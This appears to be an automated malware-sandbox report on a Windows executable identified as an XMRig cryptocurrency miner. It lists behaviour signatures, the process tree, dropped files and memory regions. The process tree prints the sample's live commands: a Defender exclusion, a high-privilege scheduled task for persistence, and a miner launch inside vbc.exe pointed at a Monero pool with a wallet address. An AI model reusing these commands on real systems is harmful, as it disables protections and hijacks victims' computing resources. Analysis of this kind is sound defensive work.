Analysis
- max time kernel
65s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
21/11/2022, 03:14
General
- Target file.exe
- Size 1.2MB
- Sample221121-drbffsbf68
- SHA256 4d5aae82a49446f9e35b41ece3c9e04934deb114257f2e2a1780becb0ce19039
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 28 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7F85.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\winrar\OWT.exe"C:\ProgramData\winrar\OWT.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1256 -s 37004⤵
- Program crash
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 428 -p 1256 -ip 12561⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
OWT.exe
OWT.exe
powershell.exe.log
StartupProfileData-NonInteractive
tmp7F85.tmp.bat
memory/1256-185-0x0000000000170000-0x0000000000326000-memory.dmp
memory/1256-170-0x0000000002FA0000-0x0000000002FE3000-memory.dmp
memory/1256-197-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/1256-196-0x0000000000170000-0x0000000000326000-memory.dmp
memory/1256-172-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/1256-186-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/1256-171-0x00007FFE1D770000-0x00007FFE1D8BE000-memory.dmp
memory/1256-184-0x00007FFE37020000-0x00007FFE3705B000-memory.dmp
memory/1256-183-0x00007FFE39EF0000-0x00007FFE39F5B000-memory.dmp
memory/1256-166-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/1256-182-0x00007FFE18790000-0x00007FFE18892000-memory.dmp
memory/1256-181-0x00007FFE1DA90000-0x00007FFE1DAC5000-memory.dmp
memory/1256-180-0x00007FFE38440000-0x00007FFE38467000-memory.dmp
memory/1256-165-0x00007FFE38580000-0x00007FFE38721000-memory.dmp
memory/1256-164-0x00007FFE1DB00000-0x00007FFE1DBBD000-memory.dmp
memory/1256-168-0x0000000000170000-0x0000000000326000-memory.dmp
memory/1256-163-0x00007FFE35B70000-0x00007FFE35B82000-memory.dmp
memory/1256-194-0x00007FFE18620000-0x00007FFE1878A000-memory.dmp
memory/1256-167-0x00007FFE39D60000-0x00007FFE39D8B000-memory.dmp
memory/1256-169-0x0000000000170000-0x0000000000326000-memory.dmp
memory/1256-161-0x00007FFE1DBC0000-0x00007FFE1DC6A000-memory.dmp
memory/1256-162-0x00007FFE3A440000-0x00007FFE3A4DE000-memory.dmp
memory/3376-176-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/3376-179-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/4520-133-0x00007FFE1DBC0000-0x00007FFE1DC6A000-memory.dmp
memory/4520-146-0x000000001DB30000-0x000000001E058000-memory.dmp
memory/4520-140-0x0000000000520000-0x0000000000563000-memory.dmp
memory/4520-139-0x00000000005A0000-0x0000000000756000-memory.dmp
memory/4520-138-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/4520-142-0x00000000005A0000-0x0000000000756000-memory.dmp
memory/4520-143-0x00000000005A0000-0x0000000000756000-memory.dmp
memory/4520-136-0x00007FFE1DB00000-0x00007FFE1DBBD000-memory.dmp
memory/4520-135-0x00007FFE35B70000-0x00007FFE35B82000-memory.dmp
memory/4520-141-0x00007FFE39D60000-0x00007FFE39D8B000-memory.dmp
memory/4520-144-0x00007FFE1D530000-0x00007FFE1D67E000-memory.dmp
memory/4520-134-0x00007FFE3A440000-0x00007FFE3A4DE000-memory.dmp
memory/4520-145-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/4520-150-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/4520-151-0x0000000000520000-0x0000000000563000-memory.dmp
memory/4520-149-0x00000000005A0000-0x0000000000756000-memory.dmp
memory/4520-137-0x00007FFE38580000-0x00007FFE38721000-memory.dmp
memory/4696-155-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/4696-154-0x000001C3A8CF0000-0x000001C3A8D12000-memory.dmp
memory/4696-156-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp
memory/5040-190-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/5040-191-0x000001C6D7E50000-0x000001C6D7E70000-memory.dmp
memory/5040-192-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/5040-193-0x000001C6D7FB0000-0x000001C6D7FF0000-memory.dmp
memory/5040-189-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/5040-195-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/5040-187-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/5040-198-0x000001C6D7FF0000-0x000001C6D8010000-memory.dmp
memory/5040-199-0x000001C6D8010000-0x000001C6D8030000-memory.dmp
memory/5040-200-0x000001C6D7FF0000-0x000001C6D8010000-memory.dmp
memory/5040-201-0x000001C6D8010000-0x000001C6D8030000-memory.dmp